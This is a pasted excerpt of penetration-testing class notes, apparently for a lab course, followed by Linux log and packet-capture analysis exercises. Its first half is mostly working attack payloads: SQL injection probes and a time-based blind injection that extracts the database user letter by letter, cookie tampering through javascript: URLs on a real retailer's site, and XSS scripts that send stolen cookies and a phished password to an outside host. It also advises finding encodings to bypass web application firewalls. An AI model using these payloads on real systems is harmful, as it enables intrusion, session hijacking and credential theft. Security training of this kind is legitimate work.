  983. http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
  984. http://45.77.162.239/bookdetail.aspx?id=1*1
  985. http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
  986. http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
  987. http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
  988. http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
  989. http://45.77.162.239/bookdetail.aspx?id=2 &0#
  990.  
  991.  
  992.  
  993. http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
  994. http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
  995. http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
  996. http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  997.  
  998. -----------------------------------------------------------------------
  999.  
  1000.  
  1001. ###############################
  1002. # Blind SQL Injection Testing #
  1003. ###############################
  1004. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  1005.  
  1006. 3 - Total Characters
  1007. ---------------------------Type This-----------------------------------
  1008.  
  1009. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  1010. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  1011. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  1012. -----------------------------------------------------------------------
  1013.  
  1014. Let's go for a quick check to see if it's DBO
  1015.  
  1016. ---------------------------Type This-----------------------------------
  1017.  
  1018. http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  1019. -----------------------------------------------------------------------
  1020.  
  1021. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  1022.  
  1023. ---------------------------Type This-----------------------------------
  1024.  
  1025. D - 1st Character
  1026. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  1027. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  1028. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  1029. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  1030.  
  1031. B - 2nd Character
  1032. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1033. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1034.  
  1035. O - 3rd Character
  1036. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1037. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  1038. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1039. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1040. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  1041. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  1042. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1043.  
  1044. -----------------------------------------------------------------------
  1045.  
  1046.  
  1047.  
  1048.  
  1049.  
  1050.  
  1051.  
  1052. ################################
  1053. # Playing with session cookies #
  1054. ################################
  1055.  
  1056. -----------------------------------------------------------------------
  1057. Step 1: Browse to NewEgg.com
  1058. -------------------------Paste this into Firefox-----------------------------------
  1059. https://secure.newegg.com/
  1060. ----------------------------------------------------------------------------------
  1061.  
  1062.  
  1063. Step 2: Browse to the shopping cart page NewEgg.com
  1064. -------------------------Paste this into Firefox-----------------------------------
  1065. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  1066. ----------------------------------------------------------------------------------
  1067.  
  1068.  
  1069. Step 3: View the current session ID
  1070. -------------------------Paste this into Firefox-----------------------------------
  1071. javascript:void(document.write(document.cookie))
  1072. ------------------------------------------------------------------------------------
  1073.  
  1074. Step 4: Go back to the shopping cart page (click the back button)
  1075. ---------------------------------------------------------------------------------
  1076. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  1077. ---------------------------------------------------------------------------------
  1078.  
  1079.  
  1080. Step 5: Now let's modify the session ID
  1081. -------------------------Paste this into Firefox-----------------------------------
  1082. javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
  1083. ------------------------------------------------------------------------------------
  1084.  
  1085.  
  1086.  
  1087. Step 6: Go back to the shopping cart page (click the back button)
  1088. ---------------------------------------------------------------------------------
  1089. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  1090. ---------------------------------------------------------------------------------
  1091.  
  1092.  
  1093.  
  1094. Step 7: View the current session ID
  1095. -------------------------Paste this into Firefox-----------------------------------
  1096. javascript:void(document.write(document.cookie))
  1097. ------------------------------------------------------------------------------------
  1098.  
  1099. -----------------------------------------------------------------------
  1100.  
  1101. ###########################################
  1102. # What is XSS #
  1103. # http://45.63.104.73/2-Intro_To_XSS.pptx #
  1104. ###########################################
  1105.  
  1106. OK - what is Cross Site Scripting (XSS)
  1107.  
  1108. 1. Use Firefox to browse to the following location:
  1109. ---------------------------Type This-----------------------------------
  1110.  
  1111. http://45.63.104.73/xss_practice/
  1112. -----------------------------------------------------------------------
  1113.  
  1114. A really simple search page that is vulnerable should come up.
  1115.  
  1116.  
  1117.  
  1118.  
  1119. 2. In the search box type:
  1120. ---------------------------Type This-----------------------------------
  1121.  
  1122. <script>alert('So this is XSS')</script>
  1123. -----------------------------------------------------------------------
  1124.  
  1125.  
  1126. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  1127. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  1128.  
  1129.  
  1130. 3. In the search box type:
  1131. ---------------------------Type This-----------------------------------
  1132.  
  1133. <script>alert(document.cookie)</script>
  1134. -----------------------------------------------------------------------
  1135.  
  1136.  
  1137. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  1138. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  1139.  
  1140. 4. Now replace that alert script with:
  1141. ---------------------------Type This-----------------------------------
  1142.  
  1143. <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  1144. -----------------------------------------------------------------------
  1145.  
  1146.  
  1147. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  1148.  
  1149.  
  1150. 5. Now view the stolen cookie at:
  1151. ---------------------------Type This-----------------------------------
  1152.  
  1153. http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  1154. -----------------------------------------------------------------------
  1155.  
  1156.  
  1157. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  1158.  
  1159.  
  1160.  
  1161.  
  1162.  
  1163.  
  1164. ############################
  1165. # A Better Way To Demo XSS #
  1166. ############################
  1167.  
  1168.  
  1169. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  1170.  
  1171.  
  1172. Use Firefox to browse to the following location:
  1173. ---------------------------Type This-----------------------------------
  1174.  
  1175. http://45.63.104.73/xss_practice/
  1176. -----------------------------------------------------------------------
  1177.  
  1178.  
  1179.  
  1180. Paste this in the search box
  1181. ----------------------------
  1182.  
  1183.  
  1184. ---------------------------Type This-----------------------------------
  1185.  
  1186. <script>
  1187. password=prompt('Your session is expired. Please enter your password to continue',' ');
  1188. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  1189. </script>
  1190. -----------------------------------------------------------------------
  1191.  
  1192.  
  1193. Now view the stolen cookie at:
  1194. ---------------------------Type This-----------------------------------
  1195.  
  1196. http://45.63.104.73/xss_practice/passwords.html
  1197.  
  1198. -----------------------------------------------------------------------
  1199.  
  1200. ###############################################################
  1201. # Question 1: What is the process that you use when you test? #
  1202. ###############################################################
  1203.  
  1204. Step 1: Automated Testing
  1205.  
  1206. Step 1a: Web Application vulnerability scanners
  1207. -----------------------------------------------
  1208. - Run two (2) unauthenticated vulnerability scans against the target
  1209. - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
  1210. - Run two (2) authenticated vulnerability scans against the target with admin privileges
  1211.  
  1212. The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
  1213.  
  1214. A good web application vulnerability scanner comparison website is here:
  1215. http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
  1216.  
  1217.  
  1218. Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  1219.  
  1220. When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  1221.  
  1222.  
  1223. Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
  1224.  
  1225.  
  1226. Also, be sure to save the scan results and logs. I usually provide this data to the customer.
  1227.  
  1228.  
  1229.  
  1230. Step 1b: Directory Brute Forcer
  1231. -------------------------------
  1232. I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
  1233.  
  1234.  
  1235.  
  1236. Step 2: Manual Testing
  1237.  
  1238. Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
  1239.  
  1240. Step 2a: Spider/Scan the entire site with Burp Suite
  1241. Save the spider and scan results. I usually provide this data to the customer as well.
  1242.  
  1243.  
  1244. Step 2b: Browse through the site using the 3 question method
  1245. Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
  1246.  
  1247. Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
  1248.  
  1249. Here is what I mean:
  1250. http://www.site.com/page.aspx?parametername=parametervalue
  1251.  
  1252. When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
  1253.  
  1254. http://www.site.com/page.aspx?parametername=[ payload ]
  1255.  
  1256. You need to ensure that you send the payload this way, and like this below:
  1257.  
  1258. http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
  1259.  
  1260. This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
  1261.  
  1262.  
  1263.  
  1264.  
  1265.  
  1266.  
  1267.  
  1268. ###########################################
  1269. # Question 2: How much fuzzing is enough? #
  1270. ###########################################
  1271. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  1272.  
  1273. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  1274.  
  1275.  
  1276. Step 1: Ask yourself the 3 questions per page of the site.
  1277.  
  1278. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  1279.  
  1280. Step 3: When you load your fuzz strings - use the following decision tree
  1281.  
  1282. - Are the fuzz strings causing a default error message (example 404)?
  1283. - If this is the case then it is most likely NOT vulnerable
  1284.  
  1285. - Are the fuzz strings causing a WAF or LB custom error message?
  1286. - If this is the case then you need to find an encoding method to bypass
  1287.  
  1288.  
  1289. - Are the fuzz strings causing an error message that discloses the backend type?
  1290. - If yes, then identify DB type and find correct syntax to successfully exploit
  1291. - Some example strings that I use are:
  1292. '
  1293. "
  1294. () <----- Take the parameter value and put it in parenthesis
  1295. (5-1) <----- See if you can perform an arithmetic function
  1296.  
  1297.  
  1298. - Are the fuzz strings rendering executable code?
  1299. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  1300. - Some example strings that I use are:
  1301. <b>hello</b>
  1302. <u>hello</u>
  1303. <script>alert(123);</script>
  1304. <script>alert(xss);</script>
  1305. <script>alert('xss');</script>
  1306. <script>alert("xss");</script>
  1307.  
  1308.  
  1309.  
  1310. #######################
  1311. # Bug Bounty Programs #
  1312. #######################
  1313. https://medium.com/bugbountywriteup/bug-bounty-hunting-methodology-toolkit-tips-tricks-blogs-ef6542301c65
  1314.  
  1315.  
  1316. ############################
  1317. # Bug Hunter's Methodology #
  1318. ############################
  1319. https://www.youtube.com/watch?v=C4ZHAdI8o1w
  1320. https://www.youtube.com/watch?v=-FAjxUOKbdI
  1321.  
  1322.  
  1323.  
  1324. ##############################################
  1325. # Log Analysis with Linux command-line tools #
  1326. ##############################################
  1327. The following command line executables are found in the Mac as well as most Linux Distributions.
  1328.  
  1329. cat – prints the content of a file in the terminal window
  1330. grep – searches and filters based on patterns
  1331. awk – can sort each row into fields and display only what is needed
  1332. sed – performs find and replace functions
  1333. sort – arranges output in an order
  1334. uniq – compares adjacent lines and can report, filter or provide a count of duplicates
  1335.  
  1336.  
  1337. ##############
  1338. # Cisco Logs #
  1339. ##############
  1340.  
  1341. -----------------------------Type this-----------------------------------------
  1342. wget http://45.63.104.73/cisco.log
  1343. -------------------------------------------------------------------------------
  1344.  
  1345. AWK Basics
  1346. ----------
  1347. To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
  1348.  
  1349. -----------------------------Type this-----------------------------------------
  1350. cat cisco.log | awk '{print $5}' | tail -n 4
  1351. -------------------------------------------------------------------------------
  1352.  
  1353.  
  1354.  
  1355. Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
  1356.  
  1357. -----------------------------Type this-----------------------------------------
  1358. cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
  1359. -------------------------------------------------------------------------------
  1360.  
  1361.  
  1362.  
  1363. While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
  1364.  
  1365. -----------------------------Type this-----------------------------------------
  1366. cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
  1367. -------------------------------------------------------------------------------
  1368.  
  1369.  
  1370.  
  1371.  
  1372. Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
  1373.  
  1374. -----------------------------Type this-----------------------------------------
  1375. cat cisco.log | grep %LINEPROTO-5-UPDOWN:
  1376.  
  1377. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
  1378.  
  1379. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
  1380.  
  1381. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
  1382. --------------------------------------------------------------------------------
  1383.  
  1384.  
  1385. ##################################################################
  1386. # Analyzing a PCAP Prads #
  1387. # Note: run as regular user #
  1388. ##################################################################
  1389.  
  1390. ---------------------------Type this as a regular user----------------------------------
  1391. cd ~
  1392.  
  1393. cd ~/pcap_analysis/prads
  1394.  
  1395. wget http://45.63.104.73/suspicious-time.pcap
  1396.  
  1397. prads -r suspicious-time.pcap -l prads-asset.log
  1398.  
  1399. cat prads-asset.log | less
  1400.  
  1401. cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
  1402.  
  1403. cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
  1404.  
  1405. cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
  1406. -----------------------------------------------------------------------
  1407.  
  1408.  
  1409.  
  1410.  
  1411. ##################################
  1412. # PCAP Analysis with ChaosReader #
  1413. # Note: run as regular user #
  1414. ##################################
  1415. ---------------------------Type this as a regular user----------------------------------
  1416. cd ~
  1417.  
  1418. cd ~/pcap_analysis/chaos_reader/
  1419.  
  1420. wget http://45.63.104.73/suspicious-time.pcap
  1421.  
  1422. wget http://45.63.104.73/chaosreader.pl
  1423.  
  1424. perl chaosreader.pl suspicious-time.pcap
  1425.  
  1426. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
  1427.  
  1428. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
  1429.  
  1430.  
  1431. for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
  1432.  
  1433. python -m SimpleHTTPServer
  1434. ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page *****
  1435.  
  1436. ------------------------------------------------------------------------
  1437.  
  1438.  
  1439.  
  1440.  
  1441.  
  1442.  
  1443.  
  1444.  
  1445. #############################
  1446. # PCAP Analysis with tshark #
  1447. # Note: run as regular user #
  1448. #############################
  1449. ---------------------------Type this as a regular user---------------------------------
  1450. cd ~/pcap_analysis/tshark
  1451.  
  1452. wget http://45.63.104.73/suspicious-time.pcap
  1453.  
  1454. tshark -i ens3 -r suspicious-time.pcap -qz io,phs
  1455.  
  1456. tshark -r suspicious-time.pcap -qz ip_hosts,tree
  1457.  
  1458. tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
  1459.  
  1460. tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
  1461.  
  1462.  
  1463. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
  1464.  
  1465. whois rapidshare.com.eyu32.ru
  1466.  
  1467. whois sploitme.com.cn
  1468.  
  1469. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
  1470.  
  1471. tshark -r suspicious-time.pcap -qz http_req,tree
  1472.  
  1473. tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
  1474.  
  1475. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
  1476. ------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement